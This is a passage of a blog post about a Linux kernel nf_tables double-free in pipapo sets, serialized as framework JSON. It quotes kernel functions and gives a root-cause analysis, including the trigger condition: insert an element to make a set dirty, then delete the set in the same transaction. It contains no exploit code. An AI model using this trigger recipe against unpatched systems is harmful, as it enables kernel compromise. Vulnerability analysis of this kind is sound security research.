const",{"type":22,"tag":118,"props":53611,"children":53612},{"style":146},[53613],{"type":28,"value":154},{"type":22,"tag":118,"props":53615,"children":53616},{"style":125},[53617],{"type":28,"value":53040},{"type":22,"tag":118,"props":53619,"children":53620},{"style":210},[53621],{"type":28,"value":671},{"type":22,"tag":118,"props":53623,"children":53624},{"style":204},[53625],{"type":28,"value":52960},{"type":22,"tag":118,"props":53627,"children":53628},{"style":125},[53629],{"type":28,"value":782},{"type":22,"tag":118,"props":53631,"children":53632},{"class":120,"line":177},[53633,53637,53641,53646,53650,53655],{"type":22,"tag":118,"props":53634,"children":53635},{"style":146},[53636],{"type":28,"value":53609},{"type":22,"tag":118,"props":53638,"children":53639},{"style":146},[53640],{"type":28,"value":154},{"type":22,"tag":118,"props":53642,"children":53643},{"style":125},[53644],{"type":28,"value":53645}," nft_elem_priv ",{"type":22,"tag":118,"props":53647,"children":53648},{"style":210},[53649],{"type":28,"value":671},{"type":22,"tag":118,"props":53651,"children":53652},{"style":204},[53653],{"type":28,"value":53654},"elem_priv",{"type":22,"tag":118,"props":53656,"children":53657},{"style":125},[53658],{"type":28,"value":3665},{"type":22,"tag":118,"props":53660,"children":53661},{"class":120,"line":195},[53662],{"type":22,"tag":118,"props":53663,"children":53664},{"style":125},[53665],{"type":28,"value":12879},{"type":22,"tag":118,"props":53667,"children":53668},{"class":120,"line":244},[53669,53673,53678,53682,53687,53691,53696],{"type":22,"tag":118,"props":53670,"children":53671},{"style":146},[53672],{"type":28,"value":154},{"type":22,"tag":118,"props":53674,"children":53675},{"style":125},[53676],{"type":28,"value":53677}," nft_set_ext ",{"type":22,"tag":118,"props":53679,"children":53680},{"style":210},[53681],{"type":28,"value":671},{"type":22,"tag":118,"props":53683,"children":53684},{"style":125},[53685],{"type":28,"value":53686},"ext ",{"type":22,"tag":118,"props":53688,"children":53689},{"style":210},[53690],{"type":28,"value":282},{"type":22,"tag":118,"props":53692,"children":53693},{"style":532},[53694],{"type":28,"value":53695}," nft_set_elem_ext",{"type":22,"tag":118,"props":53697,"children":53698},{"style":125},[53699],{"type":28,"value":53700},"(set, elem_priv);\n",{"type":22,"tag":118,"props":53702,"children":53703},{"class":120,"line":253},[53704],{"type":22,"tag":118,"props":53705,"children":53706},{"emptyLinePlaceholder":15},[53707],{"type":28,"value":250},{"type":22,"tag":118,"props":53709,"children":53710},{"class":120,"line":263},[53711,53715,53719,53724],{"type":22,"tag":118,"props":53712,"children":53713},{"style":1480},[53714],{"type":28,"value":17755},{"type":22,"tag":118,"props":53716,"children":53717},{"style":125},[53718],{"type":28,"value":842},{"type":22,"tag":118,"props":53720,"children":53721},{"style":532},[53722],{"type":28,"value":53723},"nft_set_ext_exists",{"type":22,"tag":118,"props":53725,"children":53726},{"style":125},[53727],{"type":28,"value":53728},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":22,"tag":118,"props":53730,"children":53731},{"class":120,"line":318},[53732,53737,53742,53747],{"type":22,"tag":118,"props":53733,"children":53734},{"style":532},[53735],{"type":28,"value":53736},"  nft_set_elem_expr_destroy",{"type":22,"tag":118,"props":53738,"children":53739},{"style":125},[53740],{"type":28,"value":53741},"(ctx, ",{"type":22,"tag":118,"props":53743,"children":53744},{"style":532},[53745],{"type":28,"value":53746},"nft_set_ext_expr",{"type":22,"tag":118,"props":53748,"children":53749},{"style":125},[53750],{"type":28,"value":53751},"(ext));\n",{"type":22,"tag":118,"props":53753,"children":53754},{"class":120,"line":351},[53755],{"type":22,"tag":118,"props":53756,"children":53757},{"emptyLinePlaceholder":15},[53758],{"type":28,"value":250},{"type":22,"tag":118,"props":53760,"children":53761},{"class":120,"line":359},[53762,53767],{"type":22,"tag":118,"props":53763,"children":53764},{"style":532},[53765],{"type":28,"value":53766}," kfree",{"type":22,"tag":118,"props":53768,"children":53769},{"style":125},[53770],{"type":28,"value":53771},"(elem_priv);\n",{"type":22,"tag":118,"props":53773,"children":53774},{"class":120,"line":368},[53775],{"type":22,"tag":118,"props":53776,"children":53777},{"style":125},[53778],{"type":28,"value":481},{"type":22,"tag":31,"props":53780,"children":53781},{},[53782,53783,53789,53791,53796,53798,53803,53805,53810,53811,53816,53818,53823,53825,53830,53832,53837],{"type":28,"value":2743},{"type":22,"tag":114,"props":53784,"children":53786},{"className":53785},[],[53787],{"type":28,"value":53788},"nft_pipapo_match",{"type":28,"value":53790}," objects contain views of the ",{"type":22,"tag":114,"props":53792,"children":53794},{"className":53793},[],[53795],{"type":28,"value":52952},{"type":28,"value":53797},"'s of a ",{"type":22,"tag":114,"props":53799,"children":53801},{"className":53800},[],[53802],{"type":28,"value":52960},{"type":28,"value":53804},". The difference between the ",{"type":22,"tag":114,"props":53806,"children":53808},{"className":53807},[],[53809],{"type":28,"value":52937},{"type":28,"value":12991},{"type":22,"tag":114,"props":53812,"children":53814},{"className":53813},[],[53815],{"type":28,"value":52921},{"type":28,"value":53817}," match objects is that the clone has a view of not only already committed ",{"type":22,"tag":114,"props":53819,"children":53821},{"className":53820},[],[53822],{"type":28,"value":52952},{"type":28,"value":53824},"'s that the \"normal\" one has but also a view of the ",{"type":22,"tag":114,"props":53826,"children":53828},{"className":53827},[],[53829],{"type":28,"value":52952},{"type":28,"value":53831},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":22,"tag":114,"props":53833,"children":53835},{"className":53834},[],[53836],{"type":28,"value":52937},{"type":28,"value":292},{"type":22,"tag":1289,"props":53839,"children":53841},{"id":53840},"root-cause-analysis",[53842],{"type":28,"value":53843},"Root-cause analysis",{"type":22,"tag":31,"props":53845,"children":53846},{},[53847,53849,53855,53857,53862],{"type":28,"value":53848},"So ",{"type":22,"tag":114,"props":53850,"children":53852},{"className":53851},[],[53853],{"type":28,"value":53854},"nf_tables_set_elem_destroy",{"type":28,"value":53856}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":22,"tag":114,"props":53858,"children":53860},{"className":53859},[],[53861],{"type":28,"value":52952},{"type":28,"value":53863},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":22,"tag":31,"props":53865,"children":53866},{},[53867,53869,53874,53876,53881,53883,53888,53890,53895,53897,53902],{"type":28,"value":53868},"We should now try to understand how to reach that path with the ",{"type":22,"tag":114,"props":53870,"children":53872},{"className":53871},[],[53873],{"type":28,"value":52914},{"type":28,"value":53875}," flag set, which is a member of the private data of a pipapo ",{"type":22,"tag":114,"props":53877,"children":53879},{"className":53878},[],[53880],{"type":28,"value":52952},{"type":28,"value":53882}," that becomes true whenever a change is made to the ",{"type":22,"tag":114,"props":53884,"children":53886},{"className":53885},[],[53887],{"type":28,"value":52960},{"type":28,"value":53889}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":22,"tag":114,"props":53891,"children":53893},{"className":53892},[],[53894],{"type":28,"value":52960},{"type":28,"value":53896}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":22,"tag":114,"props":53898,"children":53900},{"className":53899},[],[53901],{"type":28,"value":52960},{"type":28,"value":53903}," dirty by inserting a new element.",{"type":22,"tag":107,"props":53905,"children":53907},{"className":18481,"code":53906,"language":5169,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[53908],{"type":22,"tag":114,"props":53909,"children":53910},{"__ignoreMap":7},[53911,53981,54010,54035,54042,54049,54078,54085],{"type":22,"tag":118,"props":53912,"children":53913},{"class":120,"line":121},[53914,53918,53922,53927,53931,53935,53939,53944,53948,53953,53957,53961,53965,53969,53973,53977],{"type":22,"tag":118,"props":53915,"children":53916},{"style":146},[53917],{"type":28,"value":52985},{"type":22,"tag":118,"props":53919,"children":53920},{"style":146},[53921],{"type":28,"value":53114},{"type":22,"tag":118,"props":53923,"children":53924},{"style":532},[53925],{"type":28,"value":53926}," nft_pipapo_insert",{"type":22,"tag":118,"props":53928,"children":53929},{"style":125},[53930],{"type":28,"value":540},{"type":22,"tag":118,"props":53932,"children":53933},{"style":146},[53934],{"type":28,"value":11653},{"type":22,"tag":118,"props":53936,"children":53937},{"style":146},[53938],{"type":28,"value":154},{"type":22,"tag":118,"props":53940,"children":53941},{"style":125},[53942],{"type":28,"value":53943}," net ",{"type":22,"tag":118,"props":53945,"children":53946},{"style":210},[53947],{"type":28,"value":671},{"type":22,"tag":118,"props":53949,"children":53950},{"style":204},[53951],{"type":28,"value":53952},"net",{"type":22,"tag":118,"props":53954,"children":53955},{"style":125},[53956],{"type":28,"value":231},{"type":22,"tag":118,"props":53958,"children":53959},{"style":146},[53960],{"type":28,"value":11653},{"type":22,"tag":118,"props":53962,"children":53963},{"style":146},[53964],{"type":28,"value":154},{"type":22,"tag":118,"props":53966,"children":53967},{"style":125},[53968],{"type":28,"value":53040},{"type":22,"tag":118,"props":53970,"children":53971},{"style":210},[53972],{"type":28,"value":671},{"type":22,"tag":118,"props":53974,"children":53975},{"style":204},[53976],{"type":28,"value":52960},{"type":22,"tag":118,"props":53978,"children":53979},{"style":125},[53980],{"type":28,"value":782},{"type":22,"tag":118,"props":53982,"children":53983},{"class":120,"line":142},[53984,53988,53992,53997,54001,54006],{"type":22,"tag":118,"props":53985,"children":53986},{"style":146},[53987],{"type":28,"value":34840},{"type":22,"tag":118,"props":53989,"children":53990},{"style":146},[53991],{"type":28,"value":154},{"type":22,"tag":118,"props":53993,"children":53994},{"style":125},[53995],{"type":28,"value":53996}," nft_set_elem ",{"type":22,"tag":118,"props":53998,"children":53999},{"style":210},[54000],{"type":28,"value":671},{"type":22,"tag":118,"props":54002,"children":54003},{"style":204},[54004],{"type":28,"value":54005},"elem",{"type":22,"tag":118,"props":54007,"children":54008},{"style":125},[54009],{"type":28,"value":782},{"type":22,"tag":118,"props":54011,"children":54012},{"class":120,"line":177},[54013,54018,54022,54027,54031],{"type":22,"tag":118,"props":54014,"children":54015},{"style":146},[54016],{"type":28,"value":54017},"        struct",{"type":22,"tag":118,"props":54019,"children":54020},{"style":125},[54021],{"type":28,"value":53645},{"type":22,"tag":118,"props":54023,"children":54024},{"style":210},[54025],{"type":28,"value":54026},"**",{"type":22,"tag":118,"props":54028,"children":54029},{"style":204},[54030],{"type":28,"value":53654},{"type":22,"tag":118,"props":54032,"children":54033},{"style":125},[54034],{"type":28,"value":3665},{"type":22,"tag":118,"props":54036,"children":54037},{"class":120,"line":195},[54038],{"type":22,"tag":118,"props":54039,"children":54040},{"style":125},[54041],{"type":28,"value":12879},{"type":22,"tag":118,"props":54043,"children":54044},{"class":120,"line":244},[54045],{"type":22,"tag":118,"props":54046,"children":54047},{"style":125},[54048],{"type":28,"value":12317},{"type":22,"tag":118,"props":54050,"children":54051},{"class":120,"line":253},[54052,54057,54061,54066,54070,54074],{"type":22,"tag":118,"props":54053,"children":54054},{"style":204},[54055],{"type":28,"value":54056}," priv",{"type":22,"tag":118,"props":54058,"children":54059},{"style":125},[54060],{"type":28,"value":593},{"type":22,"tag":118,"props":54062,"children":54063},{"style":204},[54064],{"type":28,"value":54065},"dirty",{"type":22,"tag":118,"props":54067,"children":54068},{"style":210},[54069],{"type":28,"value":837},{"type":22,"tag":118,"props":54071,"children":54072},{"style":146},[54073],{"type":28,"value":1537},{"type":22,"tag":118,"props":54075,"children":54076},{"style":125},[54077],{"type":28,"value":801},{"type":22,"tag":118,"props":54079,"children":54080},{"class":120,"line":263},[54081],{"type":22,"tag":118,"props":54082,"children":54083},{"style":125},[54084],{"type":28,"value":12317},{"type":22,"tag":118,"props":54086,"children":54087},{"class":120,"line":318},[54088],{"type":22,"tag":118,"props":54089,"children":54090},{"style":125},[54091],{"type":28,"value":481},{"type":22,"tag":31,"props":54093,"children":54094},{},[54095],{"type":28,"value":54096},"We also see that when the changes are commited, this flag is then unset.",{"type":22,"tag":107,"props":54098,"children":54100},{"className":18481,"code":54099,"language":5169,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[54101],{"type":22,"tag":114,"props":54102,"children":54103},{"__ignoreMap":7},[54104,54144,54151,54158,54189,54200,54207,54234,54241],{"type":22,"tag":118,"props":54105,"children":54106},{"class":120,"line":121},[54107,54111,54115,54120,54124,54128,54132,54136,54140],{"type":22,"tag":118,"props":54108,"children":54109},{"style":146},[54110],{"type":28,"value":52985},{"type":22,"tag":118,"props":54112,"children":54113},{"style":146},[54114],{"type":28,"value":52990},{"type":22,"tag":118,"props":54116,"children":54117},{"style":532},[54118],{"type":28,"value":54119}," nft_pipapo_commit",{"type":22,"tag":118,"props":54121,"children":54122},{"style":125},[54123],{"type":28,"value":540},{"type":22,"tag":118,"props":54125,"children":54126},{"style":146},[54127],{"type":28,"value":11399},{"type":22,"tag":118,"props":54129,"children":54130},{"style":125},[54131],{"type":28,"value":53040},{"type":22,"tag":118,"props":54133,"children":54134},{"style":210},[54135],{"type":28,"value":671},{"type":22,"tag":118,"props":54137,"children":54138},{"style":204},[54139],{"type":28,"value":52960},{"type":22,"tag":118,"props":54141,"children":54142},{"style":125},[54143],{"type":28,"value":3665},{"type":22,"tag":118,"props":54145,"children":54146},{"class":120,"line":142},[54147],{"type":22,"tag":118,"props":54148,"children":54149},{"style":125},[54150],{"type":28,"value":12879},{"type":22,"tag":118,"props":54152,"children":54153},{"class":120,"line":177},[54154],{"type":22,"tag":118,"props":54155,"children":54156},{"style":125},[54157],{"type":28,"value":12317},{"type":22,"tag":118,"props":54159,"children":54160},{"class":120,"line":195},[54161,54165,54169,54173,54177,54181,54185],{"type":22,"tag":118,"props":54162,"children":54163},{"style":1480},[54164],{"type":28,"value":17755},{"type":22,"tag":118,"props":54166,"children":54167},{"style":125},[54168],{"type":28,"value":842},{"type":22,"tag":118,"props":54170,"children":54171},{"style":210},[54172],{"type":28,"value":22581},{"type":22,"tag":118,"props":54174,"children":54175},{"style":204},[54176],{"type":28,"value":53516},{"type":22,"tag":118,"props":54178,"children":54179},{"style":125},[54180],{"type":28,"value":593},{"type":22,"tag":118,"props":54182,"children":54183},{"style":204},[54184],{"type":28,"value":54065},{"type":22,"tag":118,"props":54186,"children":54187},{"style":125},[54188],{"type":28,"value":3665},{"type":22,"tag":118,"props":54190,"children":54191},{"class":120,"line":244},[54192,54196],{"type":22,"tag":118,"props":54193,"children":54194},{"style":1480},[54195],{"type":28,"value":41140},{"type":22,"tag":118,"props":54197,"children":54198},{"style":125},[54199],{"type":28,"value":801},{"type":22,"tag":118,"props":54201,"children":54202},{"class":120,"line":253},[54203],{"type":22,"tag":118,"props":54204,"children":54205},{"style":125},[54206],{"type":28,"value":12317},{"type":22,"tag":118,"props":54208,"children":54209},{"class":120,"line":263},[54210,54214,54218,54222,54226,54230],{"type":22,"tag":118,"props":54211,"children":54212},{"style":204},[54213],{"type":28,"value":54056},{"type":22,"tag":118,"props":54215,"children":54216},{"style":125},[54217],{"type":28,"value":593},{"type":22,"tag":118,"props":54219,"children":54220},{"style":204},[54221],{"type":28,"value":54065},{"type":22,"tag":118,"props":54223,"children":54224},{"style":210},[54225],{"type":28,"value":837},{"type":22,"tag":118,"props":54227,"children":54228},{"style":146},[54229],{"type":28,"value":1678},{"type":22,"tag":118,"props":54231,"children":54232},{"style":125},[54233],{"type":28,"value":801},{"type":22,"tag":118,"props":54235,"children":54236},{"class":120,"line":318},[54237],{"type":22,"tag":118,"props":54238,"children":54239},{"style":125},[54240],{"type":28,"value":12317},{"type":22,"tag":118,"props":54242,"children":54243},{"class":120,"line":351},[54244],{"type":22,"tag":118,"props":54245,"children":54246},{"style":125},[54247],{"type":28,"value":481},{"type":22,"tag":31,"props":54249,"children":54250},{},[54251,54253,54258,54260,54265,54267,54272,54274,54279,54281,54287,54289,54295,54297,54302],{"type":28,"value":54252},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":22,"tag":114,"props":54254,"children":54256},{"className":54255},[],[54257],{"type":28,"value":52952},{"type":28,"value":54259}," in the ",{"type":22,"tag":114,"props":54261,"children":54263},{"className":54262},[],[54264],{"type":28,"value":52960},{"type":28,"value":54266}," to make it dirty and then delete the ",{"type":22,"tag":114,"props":54268,"children":54270},{"className":54269},[],[54271],{"type":28,"value":52960},{"type":28,"value":54273},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":22,"tag":114,"props":54275,"children":54277},{"className":54276},[],[54278],{"type":28,"value":52960},{"type":28,"value":54280},"'s ",{"type":22,"tag":114,"props":54282,"children":54284},{"className":54283},[],[54285],{"type":28,"value":54286},"->commit()",{"type":28,"value":54288}," method is executed before its ",{"type":22,"tag":114,"props":54290,"children":54292},{"className":54291},[],[54293],{"type":28,"value":54294},"->destroy()",{"type":28,"value":54296}," method, then the ",{"type":22,"tag":114,"props":54298,"children":54300},{"className":54299},[],[54301],{"type":28,"value":54065},{"type":28,"value":54303}," flag will be unset, and we won't be able to trigger the double-free.",{"type":22,"tag":31,"props":54305,"children":54306},{},[54307],{"type":28,"value":54308},"Let's once again refer to the code and see how these methods are called.",{"type":22,"tag":107,"props":54310,"children":54312},{"className":18481,"code":54311,"language":5169,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[54313],{"type":22,"tag":114,"props":54314,"children":54315},{"__ignoreMap":7},[54316,54378,54385,54392,54400,54413,54448,54482,54524,54546,54558,54571,54578,54626,54667,54707,54720,54727,54734,54741,54748,54773,54780,54793,54800,54816],{"type":22,"tag":118,"props":54317,"children":54318},{"class":120,"line":121},[54319,54323,54327,54332,54336,54340,54344,54348,54352,54356,54360,54365,54369,54374],{"type":22,"tag":118,"props":54320,"children":54321},{"style":146},[54322],{"type":28,"value":52985},{"type":22,"tag":118,"props":54324,"children":54325},{"style":146},[54326],{"type":28,"value":53114},{"type":22,"tag":118,"props":54328,"children":54329},{"style":532},[54330],{"type":28,"value":54331}," nf_tables_commit",{"type":22,"tag":118,"props":54333,"children":54334},{"style":125},[54335],{"type":28,"value":540},{"type":22,"tag":118,"props":54337,"children":54338},{"style":146},[54339],{"type":28,"value":11399},{"type":22,"tag":118,"props":54341,"children":54342},{"style":125},[54343],{"type":28,"value":53943},{"type":22,"tag":118,"props":54345,"children":54346},{"style":210},[54347],{"type":28,"value":671},{"type":22,"tag":118,"props":54349,"children":54350},{"style":204},[54351],{"type":28,"value":53952},{"type":22,"tag":118,"props":54353,"children":54354},{"style":125},[54355],{"type":28,"value":231},{"type":22,"tag":118,"props":54357,"children":54358},{"style":146},[54359],{"type":28,"value":11399},{"type":22,"tag":118,"props":54361,"children":54362},{"style":125},[54363],{"type":28,"value":54364}," sk_buff ",{"type":22,"tag":118,"props":54366,"children":54367},{"style":210},[54368],{"type":28,"value":671},{"type":22,"tag":118,"props":54370,"children":54371},{"style":204},[54372],{"type":28,"value":54373},"skb",{"type":22,"tag":118,"props":54375,"children":54376},{"style":125},[54377],{"type":28,"value":3665},{"type":22,"tag":118,"props":54379,"children":54380},{"class":120,"line":142},[54381],{"type":22,"tag":118,"props":54382,"children":54383},{"style":125},[54384],{"type":28,"value":12879},{"type":22,"tag":118,"props":54386,"children":54387},{"class":120,"line":177},[54388],{"type":22,"tag":118,"props":54389,"children":54390},{"style":125},[54391],{"type":28,"value":12317},{"type":22,"tag":118,"props":54393,"children":54394},{"class":120,"line":195},[54395],{"type":22,"tag":118,"props":54396,"children":54397},{"style":125},[54398],{"type":28,"value":54399},"  case NFT_MSG_DELSET:\n",{"type":22,"tag":118,"props":54401,"children":54402},{"class":120,"line":244},[54403,54408],{"type":22,"tag":118,"props":54404,"children":54405},{"style":125},[54406],{"type":28,"value":54407},"  case NFT_MSG_DESTROYSET:",{"type":22,"tag":118,"props":54409,"children":54410},{"style":257},[54411],{"type":28,"value":54412}," // [1]\n",{"type":22,"tag":118,"props":54414,"children":54415},{"class":120,"line":253},[54416,54421,54426,54431,54435,54439,54443],{"type":22,"tag":118,"props":54417,"children":54418},{"style":532},[54419],{"type":28,"value":54420},"   nft_trans_set",{"type":22,"tag":118,"props":54422,"children":54423},{"style":125},[54424],{"type":28,"value":54425},"(trans)->",{"type":22,"tag":118,"props":54427,"children":54428},{"style":204},[54429],{"type":28,"value":54430},"dead",{"type":22,"tag":118,"props":54432,"children":54433},{"style":210},[54434],{"type":28,"value":837},{"type":22,"tag":118,"props":54436,"children":54437},{"style":674},[54438],{"type":28,"value":6535},{"type":22,"tag":118,"props":54440,"children":54441},{"style":125},[54442],{"type":28,"value":51014},{"type":22,"tag":118,"props":54444,"children":54445},{"style":257},[54446],{"type":28,"value":54447}," // [2]\n",{"type":22,"tag":118,"props":54449,"children":54450},{"class":120,"line":263},[54451,54456,54460,54464,54469,54473,54478],{"type":22,"tag":118,"props":54452,"children":54453},{"style":532},[54454],{"type":28,"value":54455},"   list_del_rcu",{"type":22,"tag":118,"props":54457,"children":54458},{"style":125},[54459],{"type":28,"value":540},{"type":22,"tag":118,"props":54461,"children":54462},{"style":210},[54463],{"type":28,"value":1407},{"type":22,"tag":118,"props":54465,"children":54466},{"style":532},[54467],{"type":28,"value":54468},"nft_trans_set",{"type":22,"tag":118,"props":54470,"children":54471},{"style":125},[54472],{"type":28,"value":54425},{"type":22,"tag":118,"props":54474,"children":54475},{"style":204},[54476],{"type":28,"value":54477},"list",{"type":22,"tag":118,"props":54479,"children":54480},{"style":125},[54481],{"type":28,"value":682},{"type":22,"tag":118,"props":54483,"children":54484},{"class":120,"line":318},[54485,54490,54494,54498,54503,54507,54511,54515,54519],{"type":22,"tag":118,"props":54486,"children":54487},{"style":532},[54488],{"type":28,"value":54489},"   nf_tables_set_notify",{"type":22,"tag":118,"props":54491,"children":54492},{"style":125},[54493],{"type":28,"value":540},{"type":22,"tag":118,"props":54495,"children":54496},{"style":210},[54497],{"type":28,"value":1407},{"type":22,"tag":118,"props":54499,"children":54500},{"style":204},[54501],{"type":28,"value":54502},"trans",{"type":22,"tag":118,"props":54504,"children":54505},{"style":125},[54506],{"type":28,"value":593},{"type":22,"tag":118,"props":54508,"children":54509},{"style":204},[54510],{"type":28,"value":545},{"type":22,"tag":118,"props":54512,"children":54513},{"style":125},[54514],{"type":28,"value":231},{"type":22,"tag":118,"props":54516,"children":54517},{"style":532},[54518],{"type":28,"value":54468},{"type":22,"tag":118,"props":54520,"children":54521},{"style":125},[54522],{"type":28,"value":54523},"(trans),\n",{"type":22,"tag":118,"props":54525,"children":54526},{"class":120,"line":351},[54527,54532,54536,54541],{"type":22,"tag":118,"props":54528,"children":54529},{"style":204},[54530],{"type":28,"value":54531},"          trans",{"type":22,"tag":118,"props":54533,"children":54534},{"style":125},[54535],{"type":28,"value":593},{"type":22,"tag":118,"props":54537,"children":54538},{"style":204},[54539],{"type":28,"value":54540},"msg_type",{"type":22,"tag":118,"props":54542,"children":54543},{"style":125},[54544],{"type":28,"value":54545},", GFP_KERNEL);\n",{"type":22,"tag":118,"props":54547,"children":54548},{"class":120,"line":359},[54549,54554],{"type":22,"tag":118,"props":54550,"children":54551},{"style":1480},[54552],{"type":28,"value":54553},"   break",{"type":22,"tag":118,"props":54555,"children":54556},{"style":125},[54557],{"type":28,"value":801},{"type":22,"tag":118,"props":54559,"children":54560},{"class":120,"line":368},[54561,54566],{"type":22,"tag":118,"props":54562,"children":54563},{"style":125},[54564],{"type":28,"value":54565},"  case NFT_MSG_NEWSETELEM:",{"type":22,"tag":118,"props":54567,"children":54568},{"style":257},[54569],{"type":28,"value":54570}," // [3]\n",{"type":22,"tag":118,"props":54572,"children":54573},{"class":120,"line":384},[54574],{"type":22,"tag":118,"props":54575,"children":54576},{"style":125},[54577],{"type":28,"value":12317},{"type":22,"tag":118,"props":54579,"children":54580},{"class":120,"line":417},[54581,54586,54590,54595,54599,54603,54607,54612,54616,54621],{"type":22,"tag":118,"props":54582,"children":54583},{"style":1480},[54584],{"type":28,"value":54585},"   if",{"type":22,"tag":118,"props":54587,"children":54588},{"style":125},[54589],{"type":28,"value":842},{"type":22,"tag":118,"props":54591,"children":54592},{"style":204},[54593],{"type":28,"value":54594},"te",{"type":22,"tag":118,"props":54596,"children":54597},{"style":125},[54598],{"type":28,"value":593},{"type":22,"tag":118,"props":54600,"children":54601},{"style":204},[54602],{"type":28,"value":52960},{"type":22,"tag":118,"props":54604,"children":54605},{"style":125},[54606],{"type":28,"value":593},{"type":22,"tag":118,"props":54608,"children":54609},{"style":204},[54610],{"type":28,"value":54611},"ops",{"type":22,"tag":118,"props":54613,"children":54614},{"style":125},[54615],{"type":28,"value":593},{"type":22,"tag":118,"props":54617,"children":54618},{"style":204},[54619],{"type":28,"value":54620},"commit",{"type":22,"tag":118,"props":54622,"children":54623},{"style":210},[54624],{"type":28,"value":54625}," &&\n",{"type":22,"tag":118,"props":54627,"children":54628},{"class":120,"line":425},[54629,54634,54638,54642,54646,54650,54654,54658,54663],{"type":22,"tag":118,"props":54630,"children":54631},{"style":532},[54632],{"type":28,"value":54633},"       list_empty",{"type":22,"tag":118,"props":54635,"children":54636},{"style":125},[54637],{"type":28,"value":540},{"type":22,"tag":118,"props":54639,"children":54640},{"style":210},[54641],{"type":28,"value":1407},{"type":22,"tag":118,"props":54643,"children":54644},{"style":204},[54645],{"type":28,"value":54594},{"type":22,"tag":118,"props":54647,"children":54648},{"style":125},[54649],{"type":28,"value":593},{"type":22,"tag":118,"props":54651,"children":54652},{"style":204},[54653],{"type":28,"value":52960},{"type":22,"tag":118,"props":54655,"children":54656},{"style":125},[54657],{"type":28,"value":593},{"type":22,"tag":118,"props":54659,"children":54660},{"style":204},[54661],{"type":28,"value":54662},"pending_update",{"type":22,"tag":118,"props":54664,"children":54665},{"style":125},[54666],{"type":28,"value":37134},{"type":22,"tag":118,"props":54668,"children":54669},{"class":120,"line":441},[54670,54675,54679,54683,54687,54691,54695,54699,54703],{"type":22,"tag":118,"props":54671,"children":54672},{"style":532},[54673],{"type":28,"value":54674},"    list_add_tail",{"type":22,"tag":118,"props":54676,"children":54677},{"style":125},[54678],{"type":28,"value":540},{"type":22,"tag":118,"props":54680,"children":54681},{"style":210},[54682],{"type":28,"value":1407},{"type":22,"tag":118,"props":54684,"children":54685},{"style":204},[54686],{"type":28,"value":54594},{"type":22,"tag":118,"props":54688,"children":54689},{"style":125},[54690],{"type":28,"value":593},{"type":22,"tag":118,"props":54692,"children":54693},{"style":204},[54694],{"type":28,"value":52960},{"type":22,"tag":118,"props":54696,"children":54697},{"style":125},[54698],{"type":28,"value":593},{"type":22,"tag":118,"props":54700,"children":54701},{"style":204},[54702],{"type":28,"value":54662},{"type":22,"tag":118,"props":54704,"children":54705},{"style":125},[54706],{"type":28,"value":782},{"type":22,"tag":118,"props":54708,"children":54709},{"class":120,"line":475},[54710,54715],{"type":22,"tag":118,"props":54711,"children":54712},{"style":210},[54713],{"type":28,"value":54714},"           &",{"type":22,"tag":118,"props":54716,"children":54717},{"style":125},[54718],{"type":28,"value":54719},"set_update_list);\n",{"type":22,"tag":118,"props":54721,"children":54722},{"class":120,"line":484},[54723],{"type":22,"tag":118,"props":54724,"children":54725},{"style":125},[54726],{"type":28,"value":36688},{"type":22,"tag":118,"props":54728,"children":54729},{"class":120,"line":492},[54730],{"type":22,"tag":118,"props":54731,"children":54732},{"style":125},[54733],{"type":28,"value":12317},{"type":22,"tag":118,"props":54735,"children":54736},{"class":120,"line":501},[54737],{"type":22,"tag":118,"props":54738,"children":54739},{"style":125},[54740],{"type":28,"value":11594},{"type":22,"tag":118,"props":54742,"children":54743},{"class":120,"line":519},[54744],{"type":22,"tag":118,"props":54745,"children":54746},{"emptyLinePlaceholder":15},[54747],{"type":28,"value":250},{"type":22,"tag":118,"props":54749,"children":54750},{"class":120,"line":606},[54751,54756,54760,54764,54769],{"type":22,"tag":118,"props":54752,"children":54753},{"style":532},[54754],{"type":28,"value":54755}," nft_set_commit_update",{"type":22,"tag":118,"props":54757,"children":54758},{"style":125},[54759],{"type":28,"value":540},{"type":22,"tag":118,"props":54761,"children":54762},{"style":210},[54763],{"type":28,"value":1407},{"type":22,"tag":118,"props":54765,"children":54766},{"style":204},[54767],{"type":28,"value":54768},"set_update_list",{"type":22,"tag":118,"props":54770,"children":54771},{"style":125},[54772],{"type":28,"value":682},{"type":22,"tag":118,"props":54774,"children":54775},{"class":120,"line":615},[54776],{"type":22,"tag":118,"props":54777,"children":54778},{"style":125},[54779],{"type":28,"value":12317},{"type":22,"tag":118,"props":54781,"children":54782},{"class":120,"line":685},[54783,54788],{"type":22,"tag":118,"props":54784,"children":54785},{"style":532},[54786],{"type":28,"value":54787}," 